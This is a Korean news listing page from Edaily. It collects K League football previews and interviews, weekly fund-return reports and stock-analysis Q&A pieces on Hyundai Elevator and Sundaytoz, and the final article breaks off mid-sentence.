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'전북 절대 1강? 전북·울산 2강?'...K리그1 27일 본격 개막
  • '전북 절대 1강? 전북·울산 2강?'...K리그1 27일 본격 개막
  • 전북현대 김상식 감독. 사진=프로축구연맹홍명보 울산현대 신임 감독. 사진=프로축구연맹[이데일리 스타in 이석무 기자] 지난해 프로축구 K리그는 코로나19로 개막일을 늦추고 일정도 단축하는 등 힘겨운 시간을 보냈다. 여전히 코로나19가 완전히 사라진 것은 아니지만 K리그는 2021년 정상적으로 시즌 개막을 준비한다.올해 K리그1은 27일 오후 2시 전주월드컵경기장에서 지난해 챔피언 전북 현대 대 ‘명가 부활’을 선언한 FC서울의 개막전을 시작으로 대장정을 시작한다. K리그2도 같은 날 오후 1시 30분 창원축구센터에서 경남FC와 안양FC의 1라운드 맞대결로 막을 연다.K리그1 경쟁의 최대 관전포인트는 전북의 5년 연속 챔피언 등극 여부다. 전북은 최근 두 시즌 연속 ‘현대가(家) 형제 구단’인 울산 현대와의 치열한 경쟁을 뚫고 우승 트로피를 들어 올렸다. K리그1 역대 최초 4연패와 역대 최다인 8회 우승을 달성했다.이번 시즌 전북은 변화의 폭이 크다. 팀의 정신적 지주였던 ‘라이언킹’ 이동국이 은퇴하고, 지난해 K리그1 MVP를 차지한 손준호(산둥 루넝)를 비롯해 신형민(울산), 무릴로(수원FC) 등이 팀을 떠났다. 신예 공격수 조규성은 상무에 입대했다. 사령탑도 주제 모라이스 감독에서 김상식 감독으로 바뀌었다.하지만 여전히 전북은 강력한 전력을 유지하고 있다. 브라질 출신 특급 공격수 구스타보와 지난해 K리그 최소 실점을 이끈 센터백 홍정호, 골키퍼 송범근 등 주축 멤버들이 건재하다. 여기에 ‘라인 브레이커’ 김승대를 비롯해 한승규, 최영준, 정혁 등이 임대를 마치고 돌아왔다. 특히 지난 시즌 포항스틸러스에서 19골을 터뜨린 외국인 공격수 일류첸코까지 가세했다. 공격력에 관한 한 ‘절대 1강’이라는 평가를 받고 있다.전북의 독주를 저지할 라이벌은 역시 울산이다. 홍명보 전 대표팀 감독이 새로 지휘봉을 잡은 울산은 2년 연속 준우승과 역대 최다인 9회 준우승의 아쉬움을 올해만큼은 씻어낸다는 각오다.다만 울산은 지난 시즌 27경기에서 26골을 터뜨리며 득점왕을 차지한 ‘골무원’ 주니오가 팀을 떠났다. 대신 강원FC 공격수 김지현, 부산아이파크 측면 윙어 이동준에 오스트리아 대표팀 출신 공격수 힌터제어까지 영입했지만 주니오의 빈자리를 완전히 메울지는 미지수다.지난 시즌 K리그 돌아온 기성용이 부상을 털고 본격적으로 활약하게 될 FC서울도 우승 경쟁에 뛰어들 준비를 마쳤다.서울은 검증된 외국인 공격수 팔로세비치와 국가대표 공격수 나상호를 영입하며 공격력을 한층 강화했다. 지난해 만년 하위팀 광주FC를 처음으로 상위 스플릿에 진출 시킨 뒤 이번 시즌 서울 지휘봉을 잡은 박진섭 감독의 지도력에도 많은 관심이 쏠린다.차상엽 SPOTV 해설위원은 “전북이 올해도 가장 강력한 우승후보임에는 틀림없다”며 “과연 전북이 ‘절대 1강’이 될지, 울산이 ‘2강’으로 자리할지는 시즌 초반 지켜봐야 알 수 있다”고 전망했다.차상엽 해설위원은 “K리그는 아무래도 외국인 공격수의 비중이 클 수밖에 없다”며 “울산에 새로 가세한 오스트리아 국가대표 출신 공격수 힌터제어의 활약이 리그 전체 판도에 영향을 미칠 것으로 보인다”고 밝혔다.아울러 지난해 기대 이상 성과를 거두며 3위를 차지한 포항스틸러스, 지난 시즌 상위 스플릿 진출에 성공한 대구FC, 윤석영·임창우·김대원 등 굵직한 선수들을 영입한 강원FC 등도 다크호스로 주목받고 있다.K리그2는 ‘역대급 승격 전쟁’이 펼쳐질 전망이다. 지난해 K리그1에서 4위를 차지하고도 연고지 이전으로 인해 K리그2로 내려온 김천상무가 객관적인 전력에서 가장 앞선다는 평가다.여기에 역시 K리그1에서 강등된 부산아이파크와 지난해 승격 플레이오프(PO)에서 수원FC에 밀린 경남FC를 비롯해 서울 이랜드, 대전하나시티즌, 전남드래곤즈 등이 승격을 놓고 치열한 경쟁을 준비하고 있다.36라운드로 치러지는 K리그2에서 우승팀은 자동 승격되고, 2위 팀은 3~4위 팀끼리 맞붙는 승격 준PO 승자와 대결해 승강PO 진출 자격을 얻는다.
2021.02.26 I 이석무 기자
中증시 급락에 펀드 수익률도 `털썩`
  • [펀드와치]中증시 급락에 펀드 수익률도 `털썩`
  • [이데일리 송이라 기자] 연초부터 급격한 변동성을 보여준 중국 증시에 글로벌 증시가 타격을 받은 가운데 펀드 수익률은 국내외 할 것 없이 고꾸라졌다. 중국주식펀드는 10% 이상 급락했고 국내 주식형펀드도 한 주간 3% 가까이 미끄러졌다. 그나마 헬스케어펀드만 상승세를 이어갔다. 10일 펀드평사가 KG제로인에 따르면 지난 8일 오전 공시된 기준가격을 기준으로 펀드 수익률을 조사한 결과 전체 국내 주식형펀드는 한주간 2.69% 하락했다. 거시경제 영향을 많이 받는 대형주가 속해있는 K200인덱스펀드는 전주보다 3.47% 떨어졌고, 배당주식펀드도 2.73% 하락했다. 그나마 중소형주펀드가 0.78% 하락에 그쳐 양호한 흐름을 보였다. 대외상황에 상대적으로 덜 민감한 내수기반의 의약품, 의료정밀, 음식료품 등이 상승한 덕이다. 헬스케어펀드의 약진은 이번 주에도 이어졌다. ‘미래에셋 TIGER200 건강관리 상장지수(주식)’펀드는 전주대비 10.09% 올라 주간 성과 1위에 올랐다. 상위권을 기록한 대부분 펀드가 헬스케어 관련 종목에 투자하는 펀드였다. 반면 주간성과 수익률 하위권은 레버리지펀드들이 자리했다. ‘한화 2.2배 레버리지인덱스(주식-파생재간접)종류A’펀드가 전주대비 7.54% 하락했고, ‘미래에셋 TIGER 레버리지 상장지수[주식-파생]’펀드가 같은기간 6.78% 내렸다. 해외 주식형펀드 상황은 더 안 좋았다. 경제지표 부진에 따른 성장 둔화, 원자재 및 국제유가 약세 등 부정적 요인이 복합적으로 작용하며 글로벌 증시가 패닉 상태에 빠진 탓이었다. 특히 중국 정부가 증시 안정을 위해 처음 도입한 서킷브레이커 제도는 지수 폭락으로 시행 첫주에만 연속으로 발동되며 불안감을 증폭시켰다. 순자산액(클래스 합산) 100억원 이상, 운용기간 1개월 이상인 1371개 해외주식형 펀드 중 한 주간 오른 펀드는 67개에 불과했다. 전체 해외 주식형펀드는 한 주간 6.39% 하락했고 그중에서도 중국 주식펀드는 10.21% 급락했다. 일본(-5.21%), 북미(-3.72%), 유럽(-3.77%) 등 권역별 주식펀드들도 모두 큰 폭으로 하락했다. 개별상품별로도 중국주식 상장지수펀드(ETF)인 ‘한국투자 KINDEX 중국 본토 레버리지 CSI300 상장지수(주혼-파생)(합성)’과 ‘미래에셋 TIGER 차이나A 레버리지 상장지수(주혼-파생재간접)(합성)’펀드가 20% 이상 하락하며 주간 성과 최하위에 이름을 올렸다.다만 안전자산인 금 가격이 반등하면서 금 관련 주식이나 상품에 투자하는 펀드들은 상승세를 보였다. ‘신한BNPP골드 1[주식](종류A)’펀드가 한 주간 3.69% 올라 해외펀드 중 주간 성과 최상위를 기록했다. 같은 유형인 ‘블랙록 월드 골드자(주식-재간접)(H)(A)’펀드도 3.3% 올라 뒤를 이었다. 한편 중국 증시가 불안하자 원화채권을 안전자산으로 여기면서 국내 채권시장을 강세로 이끌었다. 전체 국내 채권형펀드는 한 주간 0.11% 상승했다. 듀레이션이 2년 이상인 중기채권펀드가 한주간 0.22% 올라 가장 우수한 성과를 나타냈다.
2016.01.10 I 송이라 기자
마이너스 금리 후폭풍…日주식형 한주새 9% `뚝`
  • [펀드와치]마이너스 금리 후폭풍…日주식형 한주새 9% `뚝`
  • [이데일리 송이라 기자] 설 연휴 동안 일본증시가 큰 폭으로 하락하면서 일본주식펀드 수익률도 고꾸라졌다. 사상 처음으로 마이너스 금리를 도입하면서 경기 부양에 나섰지만 되려 엔고 현상이 심화되며 투자심리가 위축된 탓이다. 글로벌 증시 불안으로 위험자산 회피 현상이 강해지며 국내외 주식형펀드는 3% 이상 하락률을 기록했다. 14일 펀드평가사 KG제로인이 12일 오전 공시된 가격으로 펀드수익률을 조사한 결과 해외 주식형펀드는 한주간 3.12% 하락했다. 대부분 해외 주식펀드가 약세를 보였으며 선진국 주식펀드가 약세를 주도했다. 특히 일본 증시 급락으로 일본주식펀드들이 가장 부진했다. 일본은행(BOJ)의 공격적인 마이너스 금리 정책에도 엔고현상이 이어지면서 닛케이지수는 1년 4개월 만에 1만6000선을 내주기도 했다. 개별펀드 중에서도 ‘KB스타재팬인덱스자(주식-파생)A’와 ‘미래에셋재팬인덱스 1(주식-파생)종류A’ 펀드가 10%이상 하락하며 주간 성과 최하위를 기록했다. 주간 성과 하위 10위에 이름을 올린 펀드는 모두 일본주식펀드였다.반면 안전자산 선호현상으로 금과 은 등 기초소재 섹터펀드는 선방했다. 금 관련 펀드인 ‘블랙록월드골드자(주식-재간접)(H)(A)’ 가 9.86% 급상승하면서 주간 최상위에 자리했다. 같은 유형인 ‘신한BNPP골드 1[주식](종류A)’펀드도 8.65%의 수익률로 뒤를 이었고, 동남아주식펀드인 ‘삼성아세안자 2[주식](A)’는 베트남, 인도네시아, 필리핀 등 동남아 주식시장이 상대적으로 양호한 모습을 나타내며 플러스 성과를 기록했다. 이밖에 유럽(-4.68%), 북미(-4.01%), 중국(-2.22%) 등 주요국 주식펀드 대부분이 대거 하락했다. 국내 주식형펀드도 상황은 비슷했다. 설 연휴 전까지 코스피 변동성은 크지 않았으나 설 연휴 이후 11일 코스피는 급락했고 코스닥은 2011년 이후 처음으로 서킷브레이커가 발동하기도 했다. 한주간 전체 국내 주식형펀드는 한주간 3.23% 하락했다. 특히 중소형주식펀드가 전주 대비 4.11% 급락하며 약세를 주도했다. 업종별로는 의약품과 운수창고업, 음식료품, 서비스업 등이 전주대비 큰 폭으로 하락한 반면 은행업이 0.26% 하락해 그나마 나은 성과를 보였다. 순자산액(클래스 합산) 100억원 이상, 운용기간 1개월 이상 국내주식펀드 1758개 전부 하락했다. 한 주 동안 낙폭이 작았던 은행, 보험업종을 많이 보유하고 있는 펀드들이 그나마 상위권을 차지했다. 개별펀드별로도 ‘KRX Banks 지수’를 추종하는 ‘삼성KODEX은행 상장지수[주식]’펀드가 -0.44%의 성과를 기록하여 주간 성과 1위를 차지했다. 이어 ‘MF웰스 고배당 20지수’에 편입된 주식에 투자하는 ‘키움KOSEF고배당상장지수(주식)’펀드가 -0.52%의 수익률을 기록했다.반면 ‘코스닥 150 지수’를 추종하는 대부분의 레버지리 인덱스 펀드가 하위권을 차지했다. 주식형펀드와는 달리 국내 채권형펀드는 상승했다. 안전자산 선호심리가 강해지면서 전체 국내 채권형 펀드는 한주간 0.17% 올랐다. ‘키움KOSEF10년국고채레버리지상장지수[채권-파생]’펀드가 1.54%의 수익률로 주간 성과 1위를 차지했고, ‘키움KOSEF10년국고채상장지수[채권]’, ‘NH-CA Allset국채10년인덱스자[채권]Class A’펀드가 상위권에 위치했다.
2016.02.14 I 송이라 기자
[주식 톺아보기]`등골브레이커`에 떠는 현대엘리베이터
  • [마켓in][주식 톺아보기]`등골브레이커`에 떠는 현대엘리베이터
  • [이데일리 방인권 기자] 북한의 장거리 미사일 발사와 관련해 정부가 개성공단 전면 가동중단을 결정한 가운데 11일 오전 경기도 파주시 통일대교에서 개성공단 입주 기업 차량 등이 길게 줄지어 있다.[이데일리 박수익 기자] 현대엘리베이터(017800)는 현대그룹의 사실상 지주회사라고 불리는 곳입니다. 정부의 개성공단 본인들이 직접 대북사업을 하지는 않는데 자회사가 대북사업을 하고 있습니다. 자식들 상황이 안 좋아지면 아무래도 부모도 걱정스러운 것과 같은 우려가 시장에서 반영되고 있는 것 같습니다. 정부의 개성공단 폐쇄조치 이후 주가가 많이 떨어졌습니다.현대엘리베이터가 지분 67%를 보유하고 있는 대북사업 창구 현대아산은 현대그룹 창업주 고(故) 정주영 명예회장의 호를 딴 이름이죠. 정 명예회장의 고향마을 이름이기도 합니다. 그만큼 창업주 정신이 깃든 곳입니다. 예전에는 금강산관광을 했는데 2008년부터 중단되면서 누적 손실 1조원 얘기가 나올 정도로 계속 어려워진 것이죠. 금강산관광이 중단된 지금은 국내 건설업에 주력하면서 개성공단 개발사업을 하고 있습니다. 특히 총 250만명 규모의 개성공단 2단지 공시를 계획 중이었는데 이번 조치로 중단돼 버린 것입니다. 현 상황이 기약없이 이어진다면 잠재적으로 모회사인 현대엘리베이터에도 부담이 갈 수밖에 없습니다.Q: 현대엘리베이터 부담은 어느 정도?현대엘리베이터가 11일 공시를 하나 했는데, 시장의 우려가 깊어지니까 자발적으로 낸 공시입니다. 개성공단 가동 중단으로 인한 현대아산의 매출액 감소분이 284억원 정도이고 이는 최근 매출액의 2%수준으로 매출에 미치는 영향은 미미하다는 내용입니다. 이 수치는 맞습니다. 다만 향후 기대수익을 반영한 것이 아닌 지금까지 일어난 매출을 현대엘리베이터의 전체 연결매출과 비교한 것이죠. 결국 정부정책과 남북관계가 언제까지 지속될 것인지가 변수입니다. 현대아산은 계속된 적자로 결손금이 쌓이며 자본잠식 상황입니다. 2007년을 마지막으로 이후 8년째 흑자를 내지 못하고 있습니다. 어떻게 보면 현대그룹의 적통성을 보여주고 창업주의 유지를 받드는 사업이라 그만둘 수도 없는 사업이어서 어려워져도 그룹으로서는 계속 지원의무가 있는 곳이죠.Q: 현대엘리베이터 자체 상황은현대엘리베이터는 자회사 그러니까 자식들 빼고 본인들 사업만 보면 좋은 회사입니다. 엘리베이터와 에스컬레이터, 무빙워크를 만드는데 주력인 엘리베이터사업은 현재 국내에서 3개 회사의 과점체제입니다. 국내업체로는 현대엘리베이터가 유일하고, 외국계로 오티스와 티센크루프가 있는데 현대엘리베이터의 점유율이 50%에 육박해 나머지 두개 회사를 합친 것보다 많습니다. 영업이익률도 10%대가 꾸준히 나옵니다. 최근에 중국시장을 겨냥하고 있습니다.이 회사 하나만 놓고보면 괜찮은데 주가가 오를만하면 떨어지는 굴곡을 보이는 것은 자식 걱정이 끊이질 않아서 그런 것입니다. 자신들의 영업력 강화를 위한 투자보다는 유보자금을 계속 자회사 지원용으로 쓰는 것이 반복되는 상황입니다. 한때 유행했던 등골브레이커처럼 말입니다. 현대상선 문제 등 현대그룹을 둘러싼 유동성 이슈가 어떻게 해소되느냐에 따라 현대엘리베이터 주가 움직임도 관건입니다. 단순하게 보면 현대엘리베이터 입장에서는 현대증권(003450)이든 현대상선(011200)이든 둘 중 하나라도 포기하면 좋은 겁니다. 직접 자금을 부담해야하는 계열사 유상증자 결정이 내려진다믄 상당한 부담이고, 만약 현대증권 재매각이 성공한다면 현대엘리베이터의 자금이 직접 들어가는 것은 아니니까 불행 중 다행이다고 볼 수도 있습니다.Q: 개성공단 폐쇄후 증시 관련주는사실 이번 조치로 수많은 개성공단 입주업체들의 눈에서 피눈물이 나는 상황에서 수혜주라는 표현은 적절해 보이진 않는데요. 냉정하게 봐도 과연 지금 시장에서 거론되는 것처럼 방위산업 관련업체들의 주가 급등이 정상적인 것인지 의문부호가 붙을 수밖에 없습니다.한해 쓰는 국방예산은 정해져 있고, 설령 개성공단 폐쇄조치로 남북의 군사적 긴장감이 고조되더라도 곧바로 방위력 증강이 대대적으로 이뤄지는 것은 아닙니다. 무엇보다 지금 시장에서 거론되는 곳은 정부와 직접 협상하지 않는 2차 납품처들이 많습니다. 이들이 일부 부품을 납품하면 한화탈레스, LIG넥스원(079550) 같은 최종완제품 업체가 만들어 정부에 납품하는것이 일반적인 흐름입니다. 전체 매출에서 방산비중이 높지 않은 곳도 많습니다. 예컨대 포메탈(119500)은 방산보다는 산업기계·자동차부품 비중이 더많고 방산분야는 14% 정도입니다. 스페코(013810)는 9% 정도가 방산관련 매출로 분류되고 플랜트·풍력사업이 주력이라고 회사 측 자료에 나와있습니다.개성공단 폐쇄에 따른 피해주는 분명히 있습니다. 개성공단에서 발생하는 매출 비중이 높고 낮음의 문제가 있을 뿐 10%라도 기존의 매출경로가 막히면 피해를 분명하게 보는 것이죠. 반면 방산주로 분류되면서 주가 급등하는 종목들은 실질적으로 당장 매출 증가를 기대할 뚜렷한 이유가 없습니다. 오히려 이런 시기를 틈타 차익실현 물량이 쏟아져 나올 것에 대비하는 것이 좋을 것을 보입니다.▶ 관련기사 ◀☞현대엘리베이터, 현정은 회장 큰딸 정지이 전무가 2400주 매수☞[크레딧분석]현대아산 무거운 짐 짊어진 현대엘리베이터
2016.02.14 I 박수익 기자
[주식 톺아보기]애니팡이 주식을 합치는 이유
  • [마켓in][주식 톺아보기]애니팡이 주식을 합치는 이유
  • [이데일리 박수익 기자] 코스닥상장사 선데이토즈(123420). 한때 국민게임으로 불렸던 모바일게임 애니팡으로 유명한 곳이죠. 지난 2일 두 종류의 공시를 발표했습니다. 액면병합과 무상증자 공시입니다.그동안 두 차례 액면분할 회사들을 분석해 드리면서 액면분할은 1000원짜리 지폐를 동전교환기에 넣어서 100원짜리 10개로 바꾸는 것과 비슷하다고 말씀드렸는데요. 액면병합은 반대의 개념입니다. 지갑에 만원 짜리 6장이 있다고 생각해보면 아무래도 한장 한장 꺼내쓰다 보면 어느 순간 돈을 다 쓸 수가 있겠죠. 그래서 1만원 짜리 하나만 남겨두고 나머지 5장은 5만원 짜리로 바꿔서 가지고 있으면 아무래도 심리적으로 5만원 지폐를 쓸 때는 조금 고민해서 쉽게 깨서 쓸려고 하지 않겠죠. 액면병합은 이처럼 소액권을 고액권으로 바꾸는 것과 같습니다.액면분할은 유동성(주식 유통물량)을 늘리기 위해서, 반대로 액면병합은 반대로 유동성을 줄이기 위해서 하는 것 입니다. 왜 유동성을 줄이려고 하느냐. 액면병합은 주식수가 너무 많으면 빈번한 단타매매 같은 움직임으로 주가가 묶여버릴 수 있다고 판단하거나 주가가 내려가야 이익을 보는 공매도의 표적이 될 수 있다고 판단하면 회사 측이 결정할 수 있는 것입니다. 실제로 예전에 셀트리온(068270)이 액면병합, 무상증자와 같은 카드를 쓰면서 공매도와 전쟁을 한다고 한 적도 있었죠. 3월 2일 선데이토즈 주식(액면)병합 공시화면(자료: 금융감독원 전자공시시스템)Q: 액면병합은 주식수를 줄이는 것인데, 곧바로 다시 주식수 늘리는 무상증자를 한다고 공시한 이유는주식수를 5분의 1로 줄였다가 다시 조금 더 늘리는 작업을 한 것인데, 어떻게 보면 일을 한번에 할 것을 두 번에 걸쳐서 한 셈입니다. 이렇게 한 이유는 회사가 봤을 때는 액면가는 500원이면 좋겠고, 발행주식은 한 1000만주 정도가 좋을 것 같다고 해서 두 조건을 다 충족시키기 위해 맞춘 것으로 보입니다. 이 회사의 현재 발행주식총수가 3225만주인데 5주를 1주로 묶는 액면병합을 하면 645만주가 됩니다. 이후 무상증자로 312만주를 더 발행합니다. 그러면 최종적으로 이 회사의 총발행주식은 1000만주에서 약간 못 미치는 957만주가 됩니다.실제로 주요 상장 게임사들 보면 게임빌(063080)은 액면가 500원에 650만주, 컴투스는 액면가 500원에 1280만주입니다. 선데이토즈도 액면가는 500원으로 맞추고 발행주식은 그 중간값으로 맞춘 셈이 됩니다.만약 액면병합 한가지 방법을 사용해서 3200만주에서 950만주로 줄이고자 한다면 액면가를 대략 100원에서 300원으로 병합해야합니다. 그런데 액면가 300원이란 것은 다소 생소합니다. 액면가 300원 주식은 상장사 가운데 없습니다. 상법(329조 3항)은 ‘액면가 1주의 금액은 100원 이상으로 해야한다’고 규정되어 있습니다. 따라서 액면가는 100원 이상으로 정하기만 하면 되는데요, 통상적으로는 △100원 △500원 △1000원 △2500원 △5000원 식의 단위를 선호합니다.아래 표를 보시면 액면가별 종목 분포를 알 수 있는데요, 코스닥상장사는 액면가 500원이 91.6%로 절대다수입니다. 유가증권 상장사는 5000원이 43.3%, 500원이 43.5%로 양분되어 있습니다. 300원은 없고, 100원 1000원 2500원도 소수에 불과합니다.상장회사 액면가별 분포 현황(2015년 1월기준. 자료: 한국거래소)Q: 그럼 액면분할과 무상증자는 주주가치 측면에서는 어떤 영향인가우선 이해를 돕기 위해서 선데이토즈 주식 10주를 가지고 있다고 가정해봅니다. 현재 선데이토즈 주가가 1만원 정도이니까 1만원짜리 10장 가지고 있는 셈이죠. 여기에서 하나를 다섯 개로 묶는 액면병합을 하면 1만원짜리 10장은 5만원짜리 2장으로 일단 바뀌게 됩니다.이후 1주당 0.5주씩 교부하는 무상증자를 하게 됩니다. 2주 가진 사람에게 1주를 주는 ‘2+1’인 셈이니까 총 3주를 가지게 되는 것이죠. 주식수는 3주를 일단 확보합니다.그런데 무상증자는 회사가치가 바뀌는 것이 아닙니다. 지난번 유테크(178780)라는 종목을 말씀드리면서 무상증자는 회계적으로 ‘왼쪽 주머니에서 오른쪽 주머니로 옮기는 것’이라고 설명드렸는데, 자본잉여금이란 계정이 자본금으로 이름만 바뀌는 것입니다. 회사가치 변동이 없으니까 주식가격도 인위적으로 조정합니다. 무상증자 권리락이라고 합니다. 권리락이 적용되면 5만원짜리 2주는 3만3300원짜리 3주로 바뀌게 됩니다.다시 정리해보면 애초 1만원짜리 10장이나, 5만원짜리 2장이나, 3만3000원 3장이나 모두 다 총액으로는 10만원의 동일한 가치가 있는 것이죠. 이론적으로는 주식가치 변동을 가져오는 것은 아닙니다.3월2일 선데이토즈 무상증자 공시화면(자료: 금융감독원 전자공시시스템)Q: 그런데 왜 이런 것을 주주가치 제고라고 하나기본적으로는 가치변동은 없습니다만, 통상적으로 성장성이 높은 회사들은 무상증자를 호재라고 인식합니다. 권리락을 반영하면 인위적으로 주가가 조정되긴 하지만 회사의 성장성이 높다고 판단하는 투자자들의 매수세가 많이 들어오면 다시 주가를 회복할 수도 있으니까요. 시작은 3만3000원짜리 3장으로 시작하지만 5만원을 회복한다고 하면 그때야 비로소 15만원의 값어치가 될 수 있겠죠. 그래서 정확하게는 ‘주주가치 제고’ 정책이라기 보다 주주가치 제고를 ‘기대해볼 수 있는’ 정책이라는 표현이 맞습니다.다만 이렇게 가기 위해서는 액면병합과 무상증자만으로는 부족하구요. 궁극적으로는 회사가 좋아져야 합니다. 이 회사는 애니팡으로 뜬 곳인데 최근 주가를 보면 작년의 최고가격보다 많이 떨어져 있고 증권사들이 제시하는 목표주가를 보면 최근에 낮춰진 흐름을 볼수 있습니다. 현 주가와 큰 차이 없는 1만원대 중후반을 제시하고 있습니다. 목표주가는 통상 6개월~12개월 전망을 반영하는 것이니까 애널리스트들이 이 회사 주가가 아주 많이 오를 것으로 보고 있진 않다는 것이죠.결국 이 회사가 내놓은 새로운 게임들이 얼마나 인기를 끌어서 회사 매출과 이익에 도움이 되느냐가 근본적이고 핵심적인 변수입니다. 올해 예정된 일정을 보면 북미나유럽 등 글로벌시장에 여러 게임들을 선보이는 계획들이 있습니다. 주로 2분기와 3분기에 계획하고 있는데 이러한 일정과 결과들을 확인을 해가시면서 잘 관찰해보시면 좋을 듯 합니다.▶ 관련기사 ◀☞ [주식 톺아보기]허니버터칩 상장, 크라운제과에 藥일까 毒일까☞ [주식 톺아보기]삼성물산의 이삿짐, 지배구조 변화 단초?☞ [주식 톺아보기]대림산업의 살림살이는 어떻게 나아졌나☞ [주식 톺아보기]주식을 동전교환기에 넣는 기업들☞ [주식 톺아보기]`등골브레이커`에 떠는 현대엘리베이터☞ [주식 톺아보기]순탄한 삼성ENG 유증…이재용 3천억 향방은?
2016.03.04 I 박수익 기자
'영플레이어상' 김승대 "2015시즌 목표는 득점왕"
  • '영플레이어상' 김승대 "2015시즌 목표는 득점왕"
  • 포항스틸러스 김승대.[이데일리 스타in 이석무 기자] 포항스틸러스가 김승대(23)라는 또 한 명의 영플레이어상 수상자를 배출했다. K리그 최초로 3년 연속 영플레이어상 수상이라는 또 하나의 역사를 만들었다.프로 2년차인 김승대는 ‘라인브레이커’라는 단어와 함께 올 시즌 인천아시안게임 금메달, K리그 영플레이어상 수상을 하며 최고의 한 해를 보냈다. 김승대는 2014시즌 K리그에서 30경기에 출전해 10골 8도움을 기록하며 최고의 기대주로 성장했다. 또한 아시안게임에서는 팀내 가장 많은 3골을 기록하며 28년만에 한국이 금메달을 목에 거는데 힘을 보탰다. AFC 챔피언스리그에서도 K리그 선수 중 가장 많은 5골을 기록했다.김승대는 데뷔 2년만에 순도 높은 득점과 돌파로 포항의 주전 공격수이자 에이스로 성장했다.빠른 스피드를 활용해 상대 수비 뒷공간을 노리는 플레이가 장점이다. 전술 활용 면에서 유연성이 높아 중앙과 측면을 오가며 제로톱의 중심으로 활약했다.2014시즌을 마감한 김승대에게 새로운 목표가 생겼다. “2015년 K리그 시상식에는 베스트11과 함께 득점상을 받고 싶다”는 것.원대한 목표를 세운 김승대는 더 이상 유망주나 기대주가 아닌 성숙된 모습으로 다음 시즌 팬들을 찾아갈 예정이다.다음은 김승대와의 일문일답.-영플레이어상 수상 소감은?▲우선 형들(이명주, 고무열)의 뒤를 이어 3년 연속으로 영플레이어상을 수상하게 돼 기쁘다. 사실 욕심은 많았지만 기대하지는 않았다. 팀 동료들이 잘 도와줬고 팬들의 성원 덕분에 가능했다고 생각한다. 팀 동료들과 팬들에게 정말 감사한다.-이번 시즌 개인적으로 몇 가지 타이틀을 받았다. 어떻게 생각하나?▲개인적으로는 영플레이어상, 아시안게임 금메달 등 만족하는 한 해였다. 축구라는 스포츠 특성상 혼자 달성했다고는 생각하지 않는다. 그리고 개인타이틀 수상보다 팀에 큰 도움이 되지 못한 것 같아 아쉬운 점이 많다. 전반기와 같은 모습을 보였다면 팀 성적이 더 좋았지 않을까 생각한다.-이번 시즌 본인이 생각하는 위기의 순간은?▲아시안게임과 대표팀을 오가며 체력적으로 조금 힘이 들었다. 후반기에 접어들며 나도 모르게 그런 부분이 부담이 됐던 것 같다.-2014시즌 빠른 발과 공간침투로 좋은 활약을 했다. 상대팀에서도 이점을 알고 준비할 것이다. 다음 시즌에는 어떤 스타일을 보여줄 것인가?▲축구에서는 상대 스타일을 알고 있다고 해서 무조건 막을 수 있는게 아니다. 나대로의 장점이있고 이 장점을 잘 살릴 것이다. 물론 상대팀에서 나에 대한 대응책을 준비할 것도 알고 있다. 아직 어떻게 할 것이라는 말은 못하겠지만 내년에는 더욱 업그레이드된 김승대를 볼 수 있을 것이다.-최근 포항에서 영플레이어상 수상자를 비롯해 경쟁자가 많이 나온다. 이유는 뭐라 생각하나?▲포항의 유스시스템 아래 어릴때부터 좋은 환경에서 선후배들끼리 호흡을 맞추다 보니 프로가 되서도 잘 발휘되는 것 같다. 초, 중, 고, 프로까지 비슷한 전술을 사용하고 오랫동안 발을 맞추는데 개인 기량이나 성적이 잘나올수밖에 없다고 생각한다.-휴식기 동안 어떻게 보낼건가?▲우선은 가족들과 휴식을 보낼 예정이다. 쉬는 동안 체력적인 부분도 보충하고 개인운동을 할 생이다. 아직은 맘 편히 쉴 여유는 없는 것 같다. -내년 시즌 목표는?▲팀에서의 목표는 당연히 ACL 출전권을 목표로 팀에 보탬이 되는 것이고, 개인적으로는 연말에 베스트11에 뽑힐 수 있도록 활약하는 것이다. 조금 더 욕심을 부린다면 득점상도 탐난다. -마지막으로 팬들에게 한마디.▲올해 많은 응원에 감사 드리며, 내년에는 더욱 업그레이드된 모습으로 인사 드리겠습니다. 저와 포항에 많은 응원 부탁드립니다.
2014.12.04 I 이석무 기자
'차미네이터, 차두리. 올스타 투표 중간집계 선두 질주
  • '차미네이터, 차두리. 올스타 투표 중간집계 선두 질주
  • FC서울 차두리. 사진=프로축구연맹[이데일리 스타in 이석무 기자] ‘차미네이터’ 차두리(서울)가 K리그 올스타 팬 투표 중간집계 결과(24일 오전 10시 기준) 전체 득표수 1위를 차지했다. 한국프로축구연맹은 오는 7월 17일 저녁 7시 안산 와스타디움에서 개최되는 한여름 최고의 스포츠 축제 ‘2015 하나은행 K리그 올스타전 팀 최강희 vs 팀 슈틸리케’를 앞두고 지난 15일부터 실시되고 있는 K리그 올스타 팬투표 중간집계 결과를 발표했다.올 시즌을 마지막으로 K리그 클래식 은퇴를 선언한 차두리는 K리그 올스타 팬 투표 중간집계에서 10만2713표로 김승대(포항, 9만6600표)를 제치고 수비수 부문은 물론 전체 득표수 1위를 차지했다.네이버 모바일에서 오는 29일 자정까지 진행되는 이번 K리그 올스타 팬 투표는 24일 오전 10시를 기준으로 총 11만표를 돌파했다.2명을 뽑는 골키퍼 부문에서는 김승규(울산)가 8만7표를 얻어 6만6788표를 얻은 권순태(전북)를 1만 표 이상 따돌리며 선두를 달리고 있다. 지난해 올스타전 전체 득표수 1위를 차지한 바 있는 김승규는 작년에 이어 올해 올스타전 출전이 유력하다.총 4명의 선수를 뽑는 공격수 부문에서는 전북의 투톱 ‘라이언킹’ 이동국(9만5192표)과 현재 K리그 클래식 득점선두인 에두(8만1015표)에 이어 울산의 김신욱(6만8175표), 수원의 정대세(6만3960표)가 3,4위를 다투며 뒤쫓고 있다. 2명을 뽑는 좌측 미드필더 부문에서는 최근 오랜만에 대표팀에 복귀해 뛰어난 활약을 펼친 수원의 염기훈(9만4645표)이 전북의 레오나르도(9만1441표)와 약 3000표 정도의 근소한 차이로 치열한 경쟁을 벌이고 있다. 2명을 선발하는 우측 미드필더 부문에서는 차두리와 최다 득표경쟁을 벌이고 있는 ‘라인 브레이커’ 김승대(9만6600표)가 서울의 고요한(6만6605표)을 큰 표 차로 제치며 단독 1위를 달리고 있다. 4명을 뽑는 중앙 미드필더 부문에서는 전북의 이재성(9만5520표)과 성남의 김두현(9만2264표)이 선두경쟁을 벌이고 있는 가운데 제주의 윤빛가람(8만4515표)과 서울의 고명진(5만3859표)이 3,4위를 기록하고 있다. 2명을 뽑는 좌측 수비수 부문에서는 수원의 홍철(6만8296표)이 단독 선두로 앞선 가운데 전북의 최철순(6만1272표)과 서울의 